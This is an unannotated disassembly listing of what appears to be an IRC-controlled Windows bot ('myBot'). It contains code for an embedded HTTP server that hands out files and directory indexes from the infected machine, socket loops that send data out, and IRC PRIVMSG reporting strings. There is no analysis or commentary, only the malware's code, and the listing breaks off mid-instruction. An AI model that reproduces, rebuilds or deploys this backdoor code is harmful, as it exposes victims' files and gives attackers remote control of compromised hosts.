0A9B9016Ah, 8B000000h dd 20BD8DF0h, 5BFFFFF9h, 9889A5F3h, 2A0h, 0F590858Dh, 0F633FFFFh dd 1016850h, 5D890000h, 0D45D89E4h, 89DC5D89h, 0FFFDD4B5h dd 0C4B589FFh, 0E8FFFFFBh, 716A57FAh, 6A535690h, 37E89002h dd 8B716A52h, 4271F435h, 0E44D8D00h, 0BF51046Ah, 0FFFFh dd 5057046Ah, 0FFF84589h, 0D4458DD6h, 6A50046Ah, 7D8B57FBh dd 0D6FF57F8h, 50DC458Dh, 4667E68h, 37E85780h, 90716A2Bh dd 0ACB0A166h, 6583004Ch, 665000B8h, 2B445C7h, 7415FF00h dd 66004CAFh, 8DB64589h, 106AB445h, 0E8905750h, 716A5482h dd 77DC085h, 60E9C38Bh, 6A000005h, 0E890570Ah, 716A7382h dd 0FDD49D89h, 1D8BFFFFh, 427224h, 0FDD8BD89h, 7D89FFFFh dd 8D416AFCh, 0FFFDD4B5h, 0BD8D59FFh, 0FFFFFBC4h, 0F633A5F3h dd 0FBC4858Dh, 5656FFFFh, 458B5056h, 905040FCh, 6A2DF3E8h dd 0FFF88371h, 50E840Fh, 0FF330000h, 89FC7539h, 0C57C087Dh dd 646AF633h, 0FD60858Dh, 5056FFFFh, 0CACFE8h, 8D646A00h dd 0FFFF5085h, 0E85056FFh, 0CAC0h, 8D18C483h, 0FFFBC485h dd 0E85750FFh, 17C76h, 840FC085h, 4BAh, 75F87D3Bh, 0F0458D7Ah dd 10F045C7h, 50000000h, 0FDC4858Dh, 0FF50FFFFh, 0E890F875h dd 716A9B85h, 0FFFF883h, 49184h, 39C93300h, 0FFFDD4B5h dd 8D1676FFh, 0FFFDD895h, 740239FFh, 0C283410Ch, 0D48D3B04h dd 72FFFFFDh, 0D48D3BF0h, 75FFFFFDh, 0D4BD8316h, 40FFFFFDh dd 84890D73h, 0FFFDD88Dh, 0D485FFFFh, 3BFFFFFDh, 37EFC45h dd 56FC4589h, 0DC68156Ah, 50004337h, 3BE9D3FFh, 56000004h dd 0FD60858Dh, 646AFFFFh, 0E8905750h, 716A6B18h, 527FC085h dd 0FDD4958Bh, 0C933FFFFh, 3A76D63Bh, 0FDD8858Dh, 3839FFFFh dd 83410A74h, 0CA3B04C0h, 26EBF472h, 73CA3B4Ah, 8D848D1Bh dd 0FFFFFDD8h, 4104508Bh, 958B1089h, 0FFFFFDD4h, 4A04C083h dd 0EC72CA3Bh, 0FDD48DFFh, 9057FFFFh, 6A2EA4E8h, 3D4E971h dd 858D0000h, 0FFFFFCC8h, 50858D50h, 50FFFFFFh, 0FD60858Dh dd 0D468FFFFh, 50004337h, 0DA58E8h, 50858D00h, 68FFFFFFh dd 4337CCh, 0D472E850h, 0C4830000h, 75C08518h, 166A560Dh dd 4337B468h, 82E900h, 858D0000h, 0FFFFFF50h, 4337AC68h dd 4DE85000h, 590000D4h, 7559C085h, 146A560Ah, 43379468h dd 8D61EB00h, 0FFFF5085h, 378C68FFh, 0E8500043h, 0D42Ch dd 59C08559h, 6A560A75h, 377C680Dh, 40EB0043h, 0FF50858Dh dd 7468FFFFh, 50004337h, 0D40BE8h, 0C0855900h, 560A7559h dd 6068106Ah, 0EB004337h, 50858D1Fh, 68FFFFFFh, 43375Ch dd 0D3EAE850h, 85590000h, 0E7559C0h, 681E6A56h, 43373Ch dd 2F1E957h, 34BF0000h, 8D004337h, 0FFFF5085h, 0E85057FFh dd 0D3C4h, 59C08559h, 858D2475h, 0FFFFFCC8h, 43373068h dd 0ADE85000h, 590000D3h, 7559C085h, 136A560Dh, 43371C68h dd 2B2E900h, 858D0000h, 0FFFFFF50h, 8DE85057h, 590000D3h dd 7559C085h, 0C8858D24h, 68FFFFFCh, 433718h, 0D376E850h dd 85590000h, 0D7559C0h, 68136A56h, 433704h, 27BE9h, 50858D00h dd 68FFFFFFh, 4336FCh, 0D352E850h, 85590000h, 347559C0h dd 0D0BE0A6Ah, 59004336h, 0FED8BD8Dh, 0A5F3FFFFh, 0D8858D50h dd 50FFFFFEh, 9DE8A566h, 590000C2h, 0D8858D50h, 50FFFFFEh dd 0FF0875FFh, 0E9F633D3h, 235h, 0FF50858Dh, 0C868FFFFh dd 50004336h, 0D307E8h, 0C0855900h, 6A2A7559h, 36B0BE05h dd 8D590043h, 0FFFF38BDh, 66A5F3FFh, 858D50A5h, 0FFFFFF38h dd 51E8A450h, 590000C2h, 38858D50h, 0EBFFFFFFh, 50858DB2h dd 68FFFFFFh, 4336A8h, 0D2C6E850h, 85590000h, 850F59C0h dd 0B6h, 0FD2C858Dh, 8D50FFFFh, 0FFFF0485h, 458D50FFh dd 458D50ECh, 458D50E8h, 458D50E0h, 858D50D8h, 0FFFFFD60h dd 43368068h, 62E85000h, 8D0000D8h, 0FFFF0485h, 8AE850FFh dd 8B0000C9h, 2C858DF8h, 50FFFFFDh, 0C97CE8h, 0F4458900h dd 858D326Ah, 0FFFFFF04h, 81E85056h, 830000C7h, 858D34C4h dd 0FFFFFF04h, 57F475FFh, 43367868h, 5FE85000h, 6A0000CAh dd 4858D10h, 56FFFFFFh, 0CF8FE850h, 0C4830000h, 0F445891Ch dd 50EC458Dh, 50E8458Dh, 50E0458Dh, 50D8458Dh, 68C4458Dh dd 43366Ch, 0CA2CE850h, 0C4830000h, 1D6A5618h, 43364C68h dd 11EE900h, 858D0000h, 0FFFFFF50h, 43364468h, 0F5E85000h dd 590000D1h, 0F59C085h, 0E485h, 286A5600h, 43361868h dd 875FF00h, 75FFD3FFh, 0C4458DF4h, 120E850h, 83590000h dd 0F5901F8h, 0B685h, 0C4458D00h, 20858D50h, 68FFFFF7h dd 4335FCh, 0C9C8E850h, 0C4830000h, 0BCB5390Ch, 75FFFFFBh dd 858D5623h, 0FFFFF720h, 0FBB8B5FFh, 8D50FFFFh, 0FFFB3885h dd 0B5FF50FFh, 0FFFFF920h, 0FFAB89E8h, 14C483FFh, 14AE8h dd 1F88300h, 93850Fh, 6A560000h, 35E46817h, 75FF0043h dd 8DD3FF08h, 8D50C445h, 0FFF72085h, 35C468FFh, 0E8500043h dd 0C96Ah, 390CC483h, 0FFFBBCB5h, 562375FFh, 0F720858Dh dd 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh, 0F920B5FFh dd 2BE8FFFFh, 83FFFFABh, 858D14C4h, 0FFFFF720h, 6256E850h dd 5FF0000h, 4CDA80h, 562EEB59h, 0A068206Ah, 0EB004335h dd 50858D1Fh, 68FFFFFFh, 42C98Ch, 0D0F6E850h, 85590000h dd 0D7559C0h, 681B6A56h, 433584h, 0FF0875FFh, 8D646AD3h dd 0FFFD6085h, 0E85056FFh, 0C5F4h, 83087D8Bh, 3B470CC4h dd 7D89FC7Dh, 18E0F08h, 0E9FFFFFBh, 0FFFFFAC1h, 5F58016Ah dd 0C2C95B5Eh db 4, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp-1A0h] push eax push 101h call near ptr 71AB41DAh nop push 0 push 1 push 2 nop call near ptr 71AB3C22h push dword ptr [ebp+8] mov dword_4CDCC8, eax mov word ptr [ebp-10h], 2 nop call near ptr 71AB12F8h push dword ptr [ebp+0Ch] mov [ebp-0Ch], eax nop call near ptr 71AB1746h mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push dword_4CDCC8 call near ptr 71AB3E5Dh nop cmp eax, 0FFFFFFFFh jnz short loc_40F036 push dword_4CDCC8 call near ptr 71AB1A6Dh nop nop call near ptr 71AB1836h xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40F036: ; CODE XREF: ___:0040F01Ej push 1 pop eax leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp-104h] push 104h push eax push 0 nop call near ptr 2660000h lea eax, [ebp-104h] push offset dword_429068 push eax call sub_41B4C2 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40F0D2 test byte ptr [esi+0Ch], 10h jnz short loc_40F0B6 push edi mov edi, 400h loc_40F07E: ; CODE XREF: ___:0040F0B3j push esi push 1 lea eax, [ebp-504h] push edi push eax call sub_41B11A add esp, 10h lea eax, [ebp-504h] push 0 push edi push eax push dword_4CDCC8 call near ptr 71AB1AF4h nop push 1 call near ptr 2660F57h nop test byte ptr [esi+0Ch], 10h jz short loc_40F07E pop edi loc_40F0B6: ; CODE XREF: ___:0040F076j push esi call sub_41B05B pop ecx push dword_4CDCC8 nop call near ptr 71AB1A6Dh nop call near ptr 71AB1836h push 1 pop eax loc_40F0D2: ; CODE XREF: ___:0040F070j pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F0D5 proc near ; DATA XREF: sub_401ACD+2283o ; sub_40BACD+475o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_41B590 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_4CAF74 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4CAFF4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_40F4C0 mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_43DEBC[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_4CAFA0 cmp eax, 0FFFFFFFFh jz loc_40F4C0 push 7FFFFFFFh push edi call dword_4CAF9C cmp eax, 0FFFFFFFFh jz loc_40F4C0 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4CB010 cmp eax, 0FFFFFFFFh jz loc_40F4C0 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40F1AC: ; CODE XREF: sub_40F0D5+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_4CAF5C cmp eax, 0FFFFFFFFh jz loc_40F4BB xor esi, esi mov [ebp+var_4], esi loc_40F1E2: ; CODE XREF: sub_40F0D5+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_4CAE60 test eax, eax jz loc_40F4A6 cmp esi, [ebp+var_C] jnz short loc_40F264 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_4CB008 cmp eax, 0FFFFFFFFh jz loc_40F4A6 xor ecx, ecx test ebx, ebx jbe short loc_40F236 lea edx, [ebp+var_134] loc_40F22A: ; CODE XREF: sub_40F0D5+15Fj cmp [edx], eax jz short loc_40F236 inc ecx add edx, 4 cmp ecx, ebx jb short loc_40F22A loc_40F236: ; CODE XREF: sub_40F0D5+14Dj ; sub_40F0D5+157j cmp ecx, ebx jnz short loc_40F253 cmp ebx, 40h jnb short loc_40F253 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_40F253: ; CODE XREF: sub_40F0D5+163j ; sub_40F0D5+168j cmp eax, [ebp+var_8] jbe loc_40F4A6 mov [ebp+var_8], eax jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F264: ; CODE XREF: sub_40F0D5+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_41B590 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B590 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_4CAF8C test eax, eax jg short loc_40F2F7 push esi call dword_4CB00C xor ecx, ecx test ebx, ebx jbe loc_40F4A6 lea eax, [ebp+var_134] loc_40F2B6: ; CODE XREF: sub_40F0D5+1EBj cmp [eax], esi jz short loc_40F2C7 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40F2B6 jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F2C7: ; CODE XREF: sub_40F0D5+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40F2EB lea eax, [ebp+ecx*4+var_134] loc_40F2D5: ; CODE XREF: sub_40F0D5+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40F2D5 loc_40F2EB: ; CODE XREF: sub_40F0D5+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F2F7: ; CODE XREF: sub_40F0D5+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_41B590 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_41AFE0 add esp, 10h test eax, eax jbe loc_40F4A6 loc_40F325: ; CODE XREF: sub_40F0D5+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40F3CA mov esi, offset aGet_0 ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_40F39E lea eax, [ebp+var_18F0] push eax call sub_41AFE0 cmp eax, 5 pop ecx jbe short loc_40F39E mov eax, offset asc_42CA2C ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_41B900 pop ecx pop ecx push eax call sub_41B900 pop ecx pop ecx push eax call sub_41C0F4 push eax lea eax, [ebp+var_23C] push eax call sub_41BEB0 add esp, 10h jmp short loc_40F3B5 ; --------------------------------------------------------------------------- loc_40F39E: ; CODE XREF: sub_40F0D5+27Fj ; sub_40F0D5+291j lea eax, [ebp+var_18F0] push offset asc_43381C ; "\r\n" push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40F3E9 loc_40F3B5: ; CODE XREF: sub_40F0D5+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B590 add esp, 0Ch or esi, 0FFFFFFFFh loc_40F3CA: ; CODE XREF: sub_40F0D5+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_41AFE0 cmp [ebp+arg_0], eax pop ecx jb loc_40F325 jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F3E9: ; CODE XREF: sub_40F0D5+2DEj xor ecx, ecx test ebx, ebx jbe short loc_40F433 lea eax, [ebp+var_134] loc_40F3F5: ; CODE XREF: sub_40F0D5+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_40F406 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40F3F5 jmp short loc_40F436 ; --------------------------------------------------------------------------- loc_40F406: ; CODE XREF: sub_40F0D5+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40F42A lea eax, [ebp+ecx*4+var_134] loc_40F414: ; CODE XREF: sub_40F0D5+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40F414 loc_40F42A: ; CODE XREF: sub_40F0D5+336j dec ebx mov [ebp+var_138], ebx jmp short loc_40F436 ; --------------------------------------------------------------------------- loc_40F433: ; CODE XREF: sub_40F0D5+318j mov esi, [ebp+var_4] loc_40F436: ; CODE XREF: sub_40F0D5+32Fj ; sub_40F0D5+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_40F49F lea eax, [ebp+var_360] push eax call sub_41AFE0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_41AFE0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_40F49F and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_4CB010 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_40F6B3 add esp, 14h jmp short loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F49F: ; CODE XREF: sub_40F0D5+369j ; sub_40F0D5+38Fj push esi call dword_4CB00C loc_40F4A6: ; CODE XREF: sub_40F0D5+11Dj ; sub_40F0D5+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_40F1E2 jmp loc_40F1AC ; --------------------------------------------------------------------------- loc_40F4BB: ; CODE XREF: sub_40F0D5+102j mov edi, [ebp+var_C] xor ebx, ebx loc_40F4C0: ; CODE XREF: sub_40F0D5+6Aj ; sub_40F0D5+92j ... call dword_4CAF08 push eax lea eax, [ebp+var_8F0] push offset unk_4337F4 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40F506 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_409A72 add esp, 14h loc_40F506: ; CODE XREF: sub_40F0D5+40Cj lea eax, [ebp+var_8F0] push eax call sub_4151AC pop ecx push edi call dword_4CB00C push [ebp+var_254] call sub_40B412 pop ecx push ebx call near ptr 26D0000h nop pop edi pop esi pop ebx sub_40F0D5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F530 proc near ; DATA XREF: sub_40F6B3+24Do var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_41BB20 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_41B886 pop ecx lea eax, [ebp+var_2C4] pop ecx push eax lea eax, [ebp+var_654] push eax call sub_41B886 xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_40F596 push offset aTextHtml ; "text/html" jmp short loc_40F59B ; --------------------------------------------------------------------------- loc_40F596: ; CODE XREF: sub_40F530+5Dj push offset aApplicationOct ; "application/octet-stream" loc_40F59B: ; CODE XREF: sub_40F530+64j lea eax, [ebp+var_9C] push eax call sub_41B886 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi nop call near ptr 2720000h lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call near ptr 27113E0h nop lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_40F614 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41B886 add esp, 24h jmp short loc_40F635 ; --------------------------------------------------------------------------- loc_40F614: ; CODE XREF: sub_40F530+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41B886 add esp, 28h loc_40F635: ; CODE XREF: sub_40F530+E2j lea eax, [ebp+var_1654] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_4CAFC4 cmp [ebp+var_A4], edi jnz short loc_40F675 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_40FFF0 pop ecx pop ecx jmp short loc_40F692 ; --------------------------------------------------------------------------- loc_40F675: ; CODE XREF: sub_40F530+12Dj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_40F96A add esp, 10h loc_40F692: ; CODE XREF: sub_40F530+143j push [ebp+var_44C] call dword_4CB00C push [ebp+var_B4] call sub_40B412 pop ecx push edi nop call near ptr 26D0000h pop edi pop esi sub_40F530 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F6B3 proc near ; CODE XREF: sub_40F0D5+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_41B590 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_40F6E9 push eax push offset aS_3 ; "\\%s" jmp short loc_40F6F2 ; --------------------------------------------------------------------------- loc_40F6E9: ; CODE XREF: sub_40F6B3+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_40F6F2: ; CODE XREF: sub_40F6B3+34j lea eax, [ebp+var_10C] push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_41AFE0 test eax, eax pop ecx jbe short loc_40F78D mov [ebp+arg_8], 2 loc_40F71D: ; CODE XREF: sub_40F6B3+D8j lea eax, [ebp+var_10C] push eax call sub_41AFE0 cmp [ebp+arg_8], eax pop ecx jnb short loc_40F75D cmp [ebp+esi+var_10C], 25h jnz short loc_40F75D cmp [ebp+esi+var_10B], 32h jnz short loc_40F75D cmp [ebp+esi+var_10A], 30h jnz short loc_40F75D inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_40F777 ; --------------------------------------------------------------------------- loc_40F75D: ; CODE XREF: sub_40F6B3+7Aj ; sub_40F6B3+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_40F76D push 5Ch pop eax jmp short loc_40F770 ; --------------------------------------------------------------------------- loc_40F76D: ; CODE XREF: sub_40F6B3+B3j movsx eax, al loc_40F770: ; CODE XREF: sub_40F6B3+B8j mov [ebp+ebx+var_210], al loc_40F777: ; CODE XREF: sub_40F6B3+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_41AFE0 cmp esi, eax pop ecx jb short loc_40F71D loc_40F78D: ; CODE XREF: sub_40F6B3+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset dword_4293C4 push eax call sub_41B886 lea eax, [ebp+var_314] push offset asc_429998 ; "\n" push eax call sub_41C0F4 add esp, 18h lea eax, [ebp+var_314] push eax nop call near ptr 2670C8Fh push 1 cmp eax, 10h pop esi jz short loc_40F7DE cmp eax, 0FFFFFFFFh jnz short loc_40F7E1 push [ebp+arg_0] jmp loc_40F861 ; --------------------------------------------------------------------------- loc_40F7DE: ; CODE XREF: sub_40F6B3+11Cj mov [ebp+var_4], esi loc_40F7E1: ; CODE XREF: sub_40F6B3+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_40F7EE mov [ebp+var_4], esi loc_40F7EE: ; CODE XREF: sub_40F6B3+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_40F86C cmp [ebp+arg_C], edi jz short loc_40F860 lea eax, [ebp+var_314] push offset asc_433AA8 ; "*" push eax call sub_41BEC0 pop ecx lea eax, [ebp+var_314] pop ecx push eax lea eax, [ebp+var_640] push eax call sub_41B886 lea eax, [ebp+var_210] push eax call sub_4100AD add esp, 0Ch lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_41B886 or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_40F8BB ; --------------------------------------------------------------------------- loc_40F860: ; CODE XREF: sub_40F6B3+152j push ebx loc_40F861: ; CODE XREF: sub_40F6B3+126j call dword_4CB00C jmp loc_40F963 ; --------------------------------------------------------------------------- loc_40F86C: ; CODE XREF: sub_40F6B3+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax call near ptr 26F0809h nop mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40F8BB lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41B886 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi nop call near ptr 2720A8Fh push esi mov [ebp+var_330], eax nop call near ptr 2651957h loc_40F8BB: ; CODE XREF: sub_40F6B3+1ABj ; sub_40F6B3+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_433A74 push eax call sub_41B886 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_40B0F6 mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_43DEB4[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_40F530 push edi push edi nop call near ptr 2670000h mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_43DEC4[ecx], eax jz short loc_40F935 loc_40F923: ; CODE XREF: sub_40F6B3+280j cmp [ebp+var_318], edi jnz short loc_40F963 push 5 nop call near ptr 2660F57h jmp short loc_40F923 ; --------------------------------------------------------------------------- loc_40F935: ; CODE XREF: sub_40F6B3+26Ej push ebx call dword_4CB00C nop call near ptr 2670763h push eax lea eax, [ebp+var_8C4] push offset unk_433A3C push eax call sub_41B886 lea eax, [ebp+var_8C4] push eax call sub_4151AC add esp, 10h loc_40F963: ; CODE XREF: sub_40F6B3+1B4j ; sub_40F6B3+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_40F6B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F96A proc near ; CODE XREF: sub_401ACD+777Ap ; sub_40F530+15Ap var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_41B590 mov edi, [ebp+arg_0] push offset asc_429998 ; "\n" push edi call sub_41C0F4 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_40F9C9 push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41B980 add esp, 14h jmp loc_40FAC8 ; --------------------------------------------------------------------------- loc_40F9C9: ; CODE XREF: sub_40F96A+3Aj cmp [ebp+arg_C], ebx push edi jz loc_40FAAE call sub_41AFE0 pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 push edi call sub_41AFE0 pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 18h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call 